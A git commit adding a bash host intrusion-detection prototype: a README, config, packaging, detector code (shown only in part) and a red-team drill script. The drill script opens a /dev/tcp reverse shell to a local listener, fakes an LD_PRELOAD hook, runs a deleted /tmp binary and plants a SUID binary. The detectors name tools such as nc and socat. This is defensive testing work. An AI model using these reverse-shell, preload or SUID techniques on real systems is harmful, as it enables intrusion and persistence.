Enodia Sentinel v0.1 — bash host-IDS prototype

Poll-based host intrusion-detection daemon modeled on freeze-watcher's
sample→trigger→snapshot→classify loop, with security signatures instead
of performance ones:

- reverse_shell  (interpreter with a network socket on stdio)
- ld_preload     (/etc/ld.so.preload or LD_PRELOAD in writable dirs)
- deleted_exe    (process running from a deleted/memfd binary)
- new_listener   (listening port absent from startup baseline)
- new_suid       (new SUID/SGID binary; critical in writable dirs)
- persistence    (cron/systemd/authorized_keys/rc-file changes)
- suspicious_egress (interpreter holding an outbound public connection)

Each capture writes a forensic snapshot with per-signature incident-
response guidance. Includes a safe, self-cleaning red-team harness
(sentinel-redteam), hardened systemd unit, config, Makefile, and Arch
packaging.

Tested on Arch: detectors fire on drills, no false positives on a clean
sweep, sweep cost optimized from ~15s to ~1s via batched syscalls and a
gated filesystem-wide SUID scan.

This bash implementation is retained as the regression oracle for the
forthcoming Python rewrite.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
Luna 2026-05-31 00:53:35 -07:00
commit 45f8acb24a
10 changed files with 1026 additions and 0 deletions

6
.gitignore vendored Normal file
View file

@ -0,0 +1,6 @@
*.pkg.tar.zst
*.tar.gz
pkg/
src/*.o
.claude/
*.log

21
LICENSE Normal file
View file

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Enodia
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

53
Makefile Normal file
View file

@ -0,0 +1,53 @@
PREFIX ?= /usr/local
BINDIR := $(PREFIX)/bin
SYSTEMDDIR := /etc/systemd/system
CONFDIR := /etc
LOGDIR := /var/log/enodia-sentinel
.PHONY: install uninstall enable disable status logs check baseline drill clean
install:
install -Dm755 src/sentinel.sh $(DESTDIR)$(BINDIR)/sentinel.sh
install -Dm755 src/sentinel-redteam $(DESTDIR)$(BINDIR)/sentinel-redteam
install -Dm644 systemd/enodia-sentinel.service $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel.service
@if [ ! -e "$(DESTDIR)$(CONFDIR)/enodia-sentinel.conf" ]; then \
install -Dm644 config/enodia-sentinel.conf $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf; \
echo "Installed default config at $(CONFDIR)/enodia-sentinel.conf"; \
else \
install -Dm644 config/enodia-sentinel.conf $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf.new; \
echo "Existing config preserved; new template at $(CONFDIR)/enodia-sentinel.conf.new"; \
fi
install -dm750 $(DESTDIR)$(LOGDIR)
@echo "Installed. Run 'sudo make enable' to start the service."
uninstall:
rm -f $(DESTDIR)$(BINDIR)/sentinel.sh
rm -f $(DESTDIR)$(BINDIR)/sentinel-redteam
rm -f $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel.service
rm -f $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf.new
@echo "Uninstalled. Config and logs preserved."
enable:
systemctl daemon-reload
systemctl enable --now enodia-sentinel.service
disable:
systemctl disable --now enodia-sentinel.service
status:
systemctl status enodia-sentinel.service --no-pager
logs:
journalctl -u enodia-sentinel.service -f
check:
sentinel.sh --check
baseline:
sentinel.sh --baseline
drill:
sentinel-redteam
clean:
@echo "Nothing to clean (no build artifacts)."

175
README.md Normal file
View file

@ -0,0 +1,175 @@
# Enodia Sentinel
A host intrusion-detection daemon for Linux. It continuously runs a set of
detectors over live system state — processes, sockets, file descriptors, the
SUID inventory, and sensitive files — and writes a detailed forensic snapshot
with incident-response guidance the moment a known attack signature appears.
Think of it as the security counterpart to a performance watchdog: instead of
"I/O pressure spiked, here's the kernel state," it's *"a shell just wired itself
to a socket — here's the process tree, the peer, and what to do about it."*
> **Design lineage.** Sentinel reuses the proven control loop of a performance
> anomaly-capture daemon (sample → threshold/trigger → rich snapshot → classify
> → notify/retain) and swaps the inputs and signatures from *performance* to
> *security*. The forensic-snapshot-on-trigger pattern is the same; the
> detectors and the response guidance are new.
## Why these detectors
Every detector keys on a behavior that is **cheap to observe** and **expensive
for an attacker to avoid** — the high-signal, low-false-positive heuristics that
real EDRs are built on:
| Signature | What it catches | Why it's hard to evade |
|---|---|---|
| `reverse_shell` | A shell/interpreter with a **socket on fd 0/1/2** | Interactive shells get a pty, not a socket — a socket on stdio is almost always `nc -e` / `bash -i >& /dev/tcp/...` |
| `ld_preload_global` | A non-empty `/etc/ld.so.preload` | Injecting into *every* process is the whole point of a userland rootkit; the file has to exist |
| `ld_preload_proc` | `LD_PRELOAD` pointing into `/tmp`, `/dev/shm`, … | Hooking libc to hide files/creds needs the library somewhere writable |
| `deleted_exe` | A process running from a **deleted / `memfd:`** binary | Fileless malware deletes its dropper but the kernel still names the inode `(deleted)` |
| `new_listener` | A listening port absent from the startup baseline | Bind shells and backdoors have to listen somewhere |
| `new_suid` | A new SUID/SGID binary (critical in writable dirs) | A SUID `/tmp` binary is a textbook privesc persistence trick |
| `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write *somewhere* that survives reboot |
| `suspicious_egress` | An interpreter holding an outbound conn to a public IP | C2 beacons and exfil need to phone home |
## The control loop
```
┌────────────────────────────────────────────┐
│ every SAMPLE_INTERVAL seconds │
│ │
│ run_detectors() ──► alert lines │
│ │ SEV signature detail │
│ ▼ │
│ cooldown dedup (per signature+key) │
│ │ │
│ ▼ (fresh alerts only) │
│ capture_snapshot() │
│ • flagged-pid deep dive (/proc) │
│ • full process tree + sockets │
│ • ld.so.preload, recent file mods │
│ • logins, failed auth, kernel modules │
│ • per-signature response guidance │
│ │ │
│ ▼ │
│ events.log + alert-*.log + desktop notify │
└────────────────────────────────────────────┘
```
Output lives in `/var/log/enodia-sentinel/`:
- `events.log` — one line per alert (timestamp, severity, signatures, file)
- `alert-YYYYMMDD-HHMMSS.log` — the full forensic snapshot
## Quick start
```bash
sudo make install
sudo make enable # start + enable the systemd service
# prove it works — in one terminal:
sudo tail -f /var/log/enodia-sentinel/events.log
# in another:
sentinel-redteam # safe, self-cleaning attack simulations
```
You'll watch the drills trip `reverse_shell`, `ld_preload_proc`, `deleted_exe`,
`new_listener`, and `new_suid` in real time, each producing a snapshot with
response guidance.
### Without installing (try it in place)
```bash
sudo ./src/sentinel.sh --baseline # establish listener/SUID baselines
sudo ./src/sentinel.sh --check # run every detector once, print findings
```
## The red-team harness
`sentinel-redteam` is the demo and the regression test in one. It simulates each
threat with **safe, clearly-labeled stand-ins** (everything tagged
`enodia-drill`, auto-cleaned on exit):
- **reverse_shell** — a `bash` whose stdio is a TCP socket to a *local* listener
(no traffic leaves the box)
- **ld_preload** — a process with `LD_PRELOAD=/tmp/...` (an empty file; never
actually loaded, and it does **not** touch the system-wide `/etc/ld.so.preload`)
- **deleted_exe** — a copy of `/bin/sleep` run from `/tmp`, then deleted
- **new_listener** — an ephemeral `nc -l` on loopback
- **new_suid** — a `chmod 4755` copy of `/bin/true` in `/tmp`
- **persistence** — writes to a sandbox `authorized_keys` (only fires if you opt
the sandbox into `WATCH_PERSISTENCE`; it refuses to touch your real dotfiles)
```bash
sentinel-redteam --list # list drills
sentinel-redteam reverse_shell new_suid # run specific ones
HOLD=30 sentinel-redteam # keep artifacts alive 30s
```
## Configuration
Edit `/etc/enodia-sentinel.conf`, then `sudo systemctl restart
enodia-sentinel.service`. Key options:
| Variable | Default | Purpose |
|---|---|---|
| `SAMPLE_INTERVAL` | 4 | seconds between detector sweeps |
| `COOLDOWN` | 60 | min seconds before re-alerting the same signature |
| `DET_*` | 1 | per-detector on/off switches |
| `INTERPRETERS` | bash sh … | process names treated as shells for rsh/egress |
| `EGRESS_ALLOW_CIDRS` | "" | trusted public ranges that won't trip egress |
| `LISTENER_ALLOW_PORTS` | "" | ports that never trip `new_listener` |
| `SUID_HOT_DIRS` | /tmp /dev/shm … | dirs where SUID = CRITICAL |
| `WATCH_PERSISTENCE` | cron/systemd/… | files watched for tampering |
| `CAPTURE_EXECVE_BPFTRACE` | 0 | add a bpftrace execve trace to snapshots |
| `MAX_SNAPSHOTS` / `MAX_SNAPSHOT_AGE_DAYS` | 300 / 60 | retention |
| `NOTIFY_USERS` | "" | desktop notify-send targets |
## Tuning out false positives
- A long-running daemon legitimately running a deleted exe after a package
upgrade won't alert — `deleted_exe` only fires for `/tmp`, `/dev/shm`,
`/run`, `/var/tmp`, or `memfd:` paths.
- Your own admin shells over SSH won't trip `reverse_shell` — they're on a pty.
- Browsers and chat apps that interpreters open to public IPs *can* trip
`suspicious_egress` if you add them to `INTERPRETERS`; the default list is
deliberately scripting-focused. Use `EGRESS_ALLOW_CIDRS` for known-good ranges.
## Security model
Sentinel runs as root because it must read every process's `/proc`, the full
socket table, and root-owned files like `authorized_keys`. The systemd unit
constrains that power hard: `ProtectSystem=strict` with the log dir as the only
writable path, `ProtectHome=read-only`, `NoNewPrivileges`,
`MemoryDenyWriteExecute`, and a minimal capability set
(`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and
**writes** to its own log directory.
## Roadmap — from polling to eBPF
This v0 is **poll-based**: it sweeps `/proc` and `ss` every few seconds. That's
robust, dependency-light, and catches anything that lingers — but it can miss
sub-second processes, and a sweep is observable. The planned evolution:
1. **bpftrace tracepoints (now, optional)**`CAPTURE_EXECVE_BPFTRACE=1` adds a
live `execve` trace to each snapshot. The gentle on-ramp to kernel tracing.
2. **Event-driven execve/connect detection** — replace the polling gap with
`bpftrace` probes on `sys_enter_execve`, `security_bprm_check`, and
`tcp_connect`, streamed to the daemon so short-lived reverse shells can't
slip between sweeps.
3. **A libbpf + CO-RE agent (Go or Rust userland)** — the real EDR core: LSM
hooks, ring-buffer event streaming, per-process lineage tracking, and
tamper-resistance. This is the production-grade rewrite the polling daemon
prototypes the detection logic for.
The polling daemon isn't throwaway — it's the **oracle**: every signature here
is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the
shared regression suite for both.
## Project status
v0.1 — working poll-based detection across 7 signatures, forensic snapshots,
red-team harness, systemd packaging. Built and tested on Arch Linux.
## License
MIT

View file

@ -0,0 +1,50 @@
# Enodia Sentinel configuration
# Sourced by /usr/local/bin/sentinel.sh at startup (bash variable assignments).
# Restart after editing: sudo systemctl restart enodia-sentinel.service
# --- timing --------------------------------------------------------------
SAMPLE_INTERVAL=4 # seconds between detector sweeps
COOLDOWN=60 # min seconds before re-alerting the same signature
BASELINE_GRACE=10 # seconds after start before new-listener/suid arm
SUID_REFRESH=3600 # seconds between SUID baseline refreshes
SUID_SCAN_INTERVAL=60 # seconds between filesystem-wide SUID scans (expensive)
# --- detector toggles (1 = on, 0 = off) ----------------------------------
DET_REVERSE_SHELL=1 # shell/interpreter with a socket on stdio
DET_LD_PRELOAD=1 # ld.so.preload rootkit / LD_PRELOAD in temp dirs
DET_DELETED_EXE=1 # process running from deleted/memfd binary
DET_NEW_LISTENER=1 # listening port not present at baseline
DET_NEW_SUID=1 # new SUID/SGID binary
DET_PERSISTENCE=1 # cron/systemd/authorized_keys/rc file changes
DET_EGRESS=1 # interpreter with outbound conn to public IP
# --- tuning --------------------------------------------------------------
# Process names treated as "interpreters" for reverse-shell / egress checks.
INTERPRETERS="bash sh dash zsh ksh ash nc ncat netcat socat telnet python python2 python3 perl ruby php lua awk"
# Trusted public CIDRs that should NOT trip the egress detector (your VPS,
# your VPN exit, monitoring endpoints, etc.). Space separated.
EGRESS_ALLOW_CIDRS=""
# Listener ports that never alert even if they appear after baseline.
LISTENER_ALLOW_PORTS=""
# Dirs where any SUID binary is treated as CRITICAL (attacker-writable).
SUID_HOT_DIRS="/tmp /dev/shm /var/tmp /home /run/user"
# Persistence files/dirs to watch for modification (globs ok).
# Append the red-team sandbox here to test the persistence drill safely.
WATCH_PERSISTENCE="/etc/cron.d /etc/crontab /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /var/spool/cron /etc/systemd/system /etc/ld.so.preload /etc/passwd /etc/sudoers /etc/sudoers.d /root/.ssh/authorized_keys /root/.bashrc /root/.profile"
# --- eBPF on-ramp --------------------------------------------------------
# Run a 3s bpftrace execve trace inside each snapshot to catch short-lived
# processes that polling misses. Requires the 'bpftrace' package.
CAPTURE_EXECVE_BPFTRACE=0
# --- retention -----------------------------------------------------------
MAX_SNAPSHOTS=300 # auto-delete oldest beyond this (0 = no cap)
MAX_SNAPSHOT_AGE_DAYS=60 # auto-delete older than this (0 = no age cap)
# --- notifications -------------------------------------------------------
NOTIFY_USERS="" # e.g. "luna" — desktop notify-send on alert
NOTIFY_URGENCY=critical # low / normal / critical

24
packaging/PKGBUILD Normal file
View file

@ -0,0 +1,24 @@
# Maintainer: Enodia
pkgname=enodia-sentinel
pkgver=0.1.0
pkgrel=1
pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
arch=('any')
url="https://github.com/Enodia/enodia-sentinel"
license=('MIT')
depends=('bash' 'iproute2' 'procps-ng')
optdepends=('bpftrace: execve tracing of short-lived processes in snapshots'
'libnotify: desktop notifications on alert')
backup=('etc/enodia-sentinel.conf')
source=()
sha256sums=()
package() {
cd "$startdir/.."
install -Dm755 src/sentinel.sh "$pkgdir/usr/bin/sentinel.sh"
install -Dm755 src/sentinel-redteam "$pkgdir/usr/bin/sentinel-redteam"
install -Dm644 systemd/enodia-sentinel.service "$pkgdir/usr/lib/systemd/system/enodia-sentinel.service"
install -Dm644 config/enodia-sentinel.conf "$pkgdir/etc/enodia-sentinel.conf"
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"
install -dm750 "$pkgdir/var/log/enodia-sentinel"
}

8
packaging/build-package.sh Executable file
View file

@ -0,0 +1,8 @@
#!/bin/bash
# Build the Arch package from the repo root.
set -e
cd "$(dirname "$0")"
echo "Building enodia-sentinel package..."
makepkg -f --noconfirm
mv -f *.pkg.tar.zst ../ 2>/dev/null || true
echo "Done. Install with: sudo pacman -U enodia-sentinel-*.pkg.tar.zst"

134
src/sentinel-redteam Executable file
View file

@ -0,0 +1,134 @@
#!/bin/bash
# Enodia Sentinel — red-team self-test harness.
#
# Simulates each detector's threat signature using SAFE, clearly-labeled
# stand-ins (all tagged "enodia-drill"), so you can watch Sentinel catch them
# live. Nothing here is malicious: no real payloads, no system files touched,
# everything is cleaned up on exit.
#
# Usage:
# sentinel-redteam run all drills (default 20s each window)
# sentinel-redteam <name>... run only the named drills
# sentinel-redteam --list list available drills
#
# Drills: reverse_shell ld_preload deleted_exe new_listener new_suid persistence
#
# Watch it work, in another terminal:
# sudo tail -f /var/log/enodia-sentinel/events.log
# or one-shot:
# sudo /usr/local/bin/sentinel.sh --check
set -u
HOLD="${HOLD:-20}" # seconds to keep each drill artifact alive
TMP="$(mktemp -d /tmp/enodia-drill.XXXXXX)"
PIDS=()
SANDBOX="$TMP/persistence-sandbox" # used by the persistence drill
LISTEN_PORT=14444
cleanup() {
echo "[*] cleaning up drill artifacts..."
for p in "${PIDS[@]}"; do kill "$p" 2>/dev/null; done
rm -rf "$TMP"
echo "[*] done. (Sentinel snapshots in /var/log/enodia-sentinel/ are kept.)"
}
trap cleanup EXIT INT TERM
note() { echo -e "\n=== DRILL: $1 ===\n $2"; }
drill_reverse_shell() {
note reverse_shell "a bash with a TCP socket wired to its stdin/stdout (classic reverse shell)"
# Local listener stands in for the attacker's box. No remote traffic leaves.
( exec -a enodia-drill-listener nc -l 127.0.0.1 "$LISTEN_PORT" >/dev/null 2>&1 ) &
PIDS+=("$!")
sleep 1 # let the listener bind (single-shot nc; don't probe-connect it)
# bash whose fd 0/1/2 are the socket — exactly what `nc -e /bin/bash` produces.
# The shell retries the connect itself so it wins the listener's accept slot.
# It then BLOCKS reading the socket (like a real reverse shell awaiting
# commands) so the process holding the socket stays a 'bash', not a sleep.
( exec -a enodia-drill-rsh bash -c \
'for i in 1 2 3 4 5 6 7 8 9 10; do exec 3<>/dev/tcp/127.0.0.1/'"$LISTEN_PORT"' && break; sleep 0.3; done
exec 0<&3 1>&3 2>&3; read -t '"$HOLD"' _line' ) &
PIDS+=("$!")
echo " -> spawned drill reverse shell (pid $!) for ${HOLD}s"
}
drill_ld_preload() {
note ld_preload "a process running with LD_PRELOAD pointing into /tmp"
: > "$TMP/evil.so" # empty file; we never actually load it, just set the env
( LD_PRELOAD="$TMP/evil.so" exec -a enodia-drill-preload sleep "$HOLD" ) &
PIDS+=("$!")
echo " -> spawned process with LD_PRELOAD=$TMP/evil.so (pid $!)"
echo " NOTE: does NOT touch /etc/ld.so.preload (that would be system-wide)."
}
drill_deleted_exe() {
note deleted_exe "a process whose executable was deleted from disk (fileless)"
cp /bin/sleep "$TMP/enodia-drill-ghost" 2>/dev/null
( exec "$TMP/enodia-drill-ghost" "$HOLD" ) &
local p=$!; PIDS+=("$p")
sleep 0.5
rm -f "$TMP/enodia-drill-ghost" # now /proc/<pid>/exe shows "(deleted)" in /tmp
echo " -> running pid $p from a now-deleted /tmp binary"
}
drill_new_listener() {
note new_listener "a new TCP listening port that wasn't in the baseline"
( exec -a enodia-drill-bind nc -l 127.0.0.1 $((LISTEN_PORT+1)) >/dev/null 2>&1 ) &
PIDS+=("$!")
echo " -> opened listener on 127.0.0.1:$((LISTEN_PORT+1)) (pid $!)"
}
drill_new_suid() {
note new_suid "a SUID binary appearing in a world-writable dir (/tmp)"
cp /bin/true "$TMP/enodia-drill-suid" 2>/dev/null
chmod 4755 "$TMP/enodia-drill-suid" 2>/dev/null
echo " -> dropped SUID binary at $TMP/enodia-drill-suid (perms: $(stat -c %A "$TMP/enodia-drill-suid" 2>/dev/null))"
echo " (will be detected on the next sweep; kept for ${HOLD}s)"
( sleep "$HOLD" ) & PIDS+=("$!")
}
drill_persistence() {
note persistence "modifying a watched persistence file"
echo " NOTE: this drill only fires if you've pointed WATCH_PERSISTENCE at the"
echo " sandbox below. To test safely, add this to /etc/enodia-sentinel.conf:"
echo " WATCH_PERSISTENCE=\"\$WATCH_PERSISTENCE $SANDBOX\""
echo " then restart the service. Otherwise this would require touching real"
echo " files like ~/.ssh/authorized_keys, which the harness will NOT do."
mkdir -p "$SANDBOX"
echo "# enodia-drill $(date)" >> "$SANDBOX/authorized_keys"
echo " -> wrote $SANDBOX/authorized_keys"
}
run() {
case "$1" in
reverse_shell) drill_reverse_shell ;;
ld_preload) drill_ld_preload ;;
deleted_exe) drill_deleted_exe ;;
new_listener) drill_new_listener ;;
new_suid) drill_new_suid ;;
persistence) drill_persistence ;;
*) echo "unknown drill: $1" >&2; return 1 ;;
esac
}
ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence)
if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi
echo "######################################################################"
echo "# ENODIA SENTINEL — RED TEAM DRILL #"
echo "# All artifacts are labeled 'enodia-drill' and auto-cleaned. #"
echo "# Watch detections: sudo tail -f /var/log/enodia-sentinel/events.log"
echo "######################################################################"
if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi
for d in "${targets[@]}"; do run "$d"; done
echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:"
if [ -x /usr/local/bin/sentinel.sh ]; then
sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \
| grep -i drill && echo " ^ Sentinel saw the drills." \
|| echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)"
fi
echo "[*] holding for ${HOLD}s, then cleaning up..."
sleep "$HOLD"

526
src/sentinel.sh Executable file
View file

@ -0,0 +1,526 @@
#!/bin/bash
# Enodia Sentinel — a host intrusion-detection daemon.
#
# Continuously runs a set of detectors over live system state (processes,
# sockets, file descriptors, SUID binaries, sensitive files). When a detector
# fires, it writes a detailed forensic snapshot with incident-response guidance,
# the same way freeze-watcher captures a snapshot on a performance anomaly.
#
# Architecture mirrors freeze-watcher.sh:
# sample loop -> run_detectors -> (cooldown dedup) -> capture_snapshot
#
# Run modes:
# sentinel.sh daemon loop (default; used by systemd)
# sentinel.sh --check run detectors once, print alerts, exit (no capture)
# sentinel.sh --baseline (re)build listener/SUID baselines and exit
set -u
LOG_DIR="${ENODIA_LOG_DIR:-/var/log/enodia-sentinel}"
CONFIG="${ENODIA_CONFIG:-/etc/enodia-sentinel.conf}"
TRIGGER_FILE="$LOG_DIR/.trigger"
# --- defaults (overridden by /etc/enodia-sentinel.conf) ------------------
SAMPLE_INTERVAL=4 # seconds between detector sweeps
COOLDOWN=60 # min seconds before re-alerting the same signature+key
SUID_REFRESH=3600 # seconds between SUID baseline refreshes
SUID_SCAN_INTERVAL=60 # seconds between filesystem-wide SUID scans (expensive)
BASELINE_GRACE=10 # seconds after start before new-listener/suid alerts arm
# Which process names count as "interpreters" for reverse-shell / egress checks
INTERPRETERS="bash sh dash zsh ksh ash nc ncat netcat socat telnet python python2 python3 perl ruby php lua awk"
# Egress: interpreters talking to a public IP are suspicious unless the remote
# is in one of these trusted CIDRs (space separated, e.g. "203.0.113.0/24").
EGRESS_ALLOW_CIDRS=""
# Listeners on these ports never alert even if they appear after baseline.
LISTENER_ALLOW_PORTS=""
# Directories where a SUID binary is always critical (attacker-writable).
SUID_HOT_DIRS="/tmp /dev/shm /var/tmp /home /run/user"
# Files/dirs watched for persistence tampering (space separated; globs ok).
WATCH_PERSISTENCE="/etc/cron.d /etc/crontab /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /var/spool/cron /etc/systemd/system /etc/ld.so.preload /etc/passwd /etc/sudoers /etc/sudoers.d /root/.ssh/authorized_keys /root/.bashrc /root/.profile"
# Per-user files to watch under each /home/* (appended to WATCH_PERSISTENCE at start)
WATCH_HOME_FILES=".ssh/authorized_keys .bashrc .bash_profile .profile .zshrc .config/autostart"
# Detector toggles
DET_REVERSE_SHELL=1
DET_LD_PRELOAD=1
DET_DELETED_EXE=1
DET_NEW_LISTENER=1
DET_NEW_SUID=1
DET_PERSISTENCE=1
DET_EGRESS=1
# eBPF on-ramp: run a short bpftrace execve trace inside each snapshot, to
# catch short-lived processes that polling misses. Requires bpftrace.
CAPTURE_EXECVE_BPFTRACE=0
# Retention
MAX_SNAPSHOTS=300
MAX_SNAPSHOT_AGE_DAYS=60
# Notifications (desktop)
NOTIFY_USERS=""
NOTIFY_URGENCY=critical
[ -f "$CONFIG" ] && . "$CONFIG"
mkdir -p "$LOG_DIR"
chmod 750 "$LOG_DIR" 2>/dev/null
START_TIME=$(date +%s)
last_suid_refresh=0
captures_since_prune=0
# Per-signature cooldown map: key -> last alert epoch
declare -A last_alert
# --------------------------------------------------------------------------
# Helpers
# --------------------------------------------------------------------------
# ip_to_int DOTTED -> integer, for CIDR matching. Empty on parse failure.
ip_to_int() {
local ip="$1" a b c d
IFS=. read -r a b c d <<< "$ip"
[[ "$a$b$c$d" =~ ^[0-9]+$ ]] || return 1
echo $(( (a<<24) + (b<<16) + (c<<8) + d ))
}
# is_public_ip ADDR -> 0 if a routable public IPv4 (not private/loopback/link-local)
is_public_ip() {
local ip="$1"
# Strip IPv6 brackets / zone; treat any IPv6 as "public-ish" unless loopback
case "$ip" in
::1|::ffff:127.*) return 1 ;;
*:*) return 0 ;; # IPv6 non-loopback: treat as routable
esac
local n; n=$(ip_to_int "$ip") || return 1
# 10.0.0.0/8
[ "$n" -ge 167772160 ] && [ "$n" -le 184549375 ] && return 1
# 172.16.0.0/12
[ "$n" -ge 2886729728 ] && [ "$n" -le 2887778303 ] && return 1
# 192.168.0.0/16
[ "$n" -ge 3232235520 ] && [ "$n" -le 3232301055 ] && return 1
# 127.0.0.0/8
[ "$n" -ge 2130706432 ] && [ "$n" -le 2147483647 ] && return 1
# 169.254.0.0/16 link-local
[ "$n" -ge 2851995648 ] && [ "$n" -le 2852061183 ] && return 1
# 100.64.0.0/10 CGNAT (often VPN/tailscale)
[ "$n" -ge 1681915904 ] && [ "$n" -le 1686110207 ] && return 1
return 0
}
# ip_in_cidrs ADDR "cidr cidr ..." -> 0 if ADDR is inside any CIDR
ip_in_cidrs() {
local ip="$1" list="$2" cidr base bits mask n base_n
n=$(ip_to_int "$ip") || return 1
for cidr in $list; do
base=${cidr%/*}; bits=${cidr#*/}
[[ "$bits" =~ ^[0-9]+$ ]] || continue
base_n=$(ip_to_int "$base") || continue
if [ "$bits" -eq 0 ]; then return 0; fi
mask=$(( 0xFFFFFFFF << (32 - bits) & 0xFFFFFFFF ))
[ $(( n & mask )) -eq $(( base_n & mask )) ] && return 0
done
return 1
}
# --------------------------------------------------------------------------
# Detectors — each prints lines: SEVERITY<TAB>signature<TAB>detail
# SEVERITY in {CRITICAL,HIGH,MEDIUM}. detail begins with a stable "key=..."
# token used for cooldown dedup.
# --------------------------------------------------------------------------
detect_reverse_shell() {
# Map network-socket inode -> "local -> peer" (TCP/UDP only) in ONE awk pass.
# A reverse shell has a TCP/UDP socket on its stdio; a unix socket or pipe
# (journald logging, shell harness pipes) is benign and must not alert.
declare -A net_peer
local ino peer
while read -r ino peer; do
[ -n "$ino" ] && net_peer[$ino]="$peer"
done < <( { ss -H -tanep 2>/dev/null; ss -H -uanep 2>/dev/null; } | awk '
{ ino=""; for (i=1;i<=NF;i++) if ($i ~ /^ino:/) ino=substr($i,5);
if (ino != "") print ino, $4" -> "$5 }' )
# Drive off the (small) set of fd 0/1/2 that are sockets, found in ONE ls.
local line target path pid inode comm cmd
while IFS= read -r line; do
target=${line##* -> }
[[ "$target" == socket:* ]] || continue
path=${line% -> *}; path=${path##* } # -> /proc/PID/fd/N
pid=${path#/proc/}; pid=${pid%%/*}
inode=${target#socket:[}; inode=${inode%]}
peer="${net_peer[$inode]:-}"
[ -n "$peer" ] || continue # network sockets only
read -r comm < "/proc/$pid/comm" 2>/dev/null || continue
case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac
cmd=$(tr '\0' ' ' 2>/dev/null < "/proc/$pid/cmdline"); cmd=${cmd% }
printf 'CRITICAL\treverse_shell\tkey=rsh:%s pid=%s comm=%s stdio=net-socket peer=[%s] cmd=[%s]\n' \
"$pid" "$pid" "$comm" "$peer" "${cmd:0:90}"
done < <(ls -l /proc/[0-9]*/fd/0 /proc/[0-9]*/fd/1 /proc/[0-9]*/fd/2 2>/dev/null)
}
detect_ld_preload() {
if [ -s /etc/ld.so.preload ]; then
local contents; contents=$(tr '\n' ' ' < /etc/ld.so.preload 2>/dev/null)
printf 'CRITICAL\tld_preload_global\tkey=ldp:global /etc/ld.so.preload is non-empty: [%s]\n' "${contents% }"
fi
# One grep finds the (usually zero) processes with LD_PRELOAD set, instead
# of reading every process's environ individually.
local f pid pre comm
while IFS= read -r -d '' f; do
pid=${f#/proc/}; pid=${pid%%/*}
pre=$(tr '\0' '\n' 2>/dev/null < "$f" | sed -n 's/^LD_PRELOAD=//p' | head -1)
[ -n "$pre" ] || continue
case "$pre" in
/tmp/*|/dev/shm/*|/var/tmp/*|/run/user/*|./*)
read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?"
printf 'CRITICAL\tld_preload_proc\tkey=ldp:%s pid=%s comm=%s LD_PRELOAD=[%s]\n' \
"$pid" "$pid" "$comm" "$pre" ;;
esac
done < <(grep -alZ 'LD_PRELOAD=' /proc/[0-9]*/environ 2>/dev/null)
}
detect_deleted_exe() {
# Resolve every /proc/*/exe symlink in ONE ls pass.
local line target path pid comm
while IFS= read -r line; do
target=${line##* -> }
case "$target" in *"(deleted)"*|memfd:*|*"/memfd:"*) ;; *) continue ;; esac
# Only alert for attacker-controlled / fileless locations. Normal-path
# deleted exes are usually daemons still running after a package upgrade.
case "$target" in
/tmp/*|/dev/shm/*|/var/tmp/*|/run/*|memfd:*|*"/memfd:"*) ;;
*) continue ;;
esac
path=${line% -> *}; path=${path##* } # -> /proc/PID/exe
pid=${path#/proc/}; pid=${pid%%/*}
read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?"
printf 'CRITICAL\tdeleted_exe\tkey=del:%s pid=%s comm=%s exe=[%s]\n' \
"$pid" "$pid" "$comm" "$target"
done < <(ls -l /proc/[0-9]*/exe 2>/dev/null)
}
# Listener baseline: set of "port/comm" present at baseline time.
build_listener_baseline() {
ss -H -tlnp 2>/dev/null | awk '{
n=split($4,a,":"); port=a[n];
comm="?"; if (match($0,/"[^"]+"/)) comm=substr($0,RSTART+1,RLENGTH-2);
print port"/"comm
}' | sort -u > "$LOG_DIR/.listener-baseline"
}
detect_new_listener() {
[ -r "$LOG_DIR/.listener-baseline" ] || return 0
local line port comm key
while IFS= read -r line; do
port=$(awk '{n=split($4,a,":"); print a[n]}' <<< "$line")
comm="?"; [[ "$line" =~ \"([^\"]+)\" ]] && comm="${BASH_REMATCH[1]}"
key="$port/$comm"
grep -qxF "$key" "$LOG_DIR/.listener-baseline" && continue
case " $LISTENER_ALLOW_PORTS " in *" $port "*) continue ;; esac
local addr; addr=$(awk '{print $4}' <<< "$line")
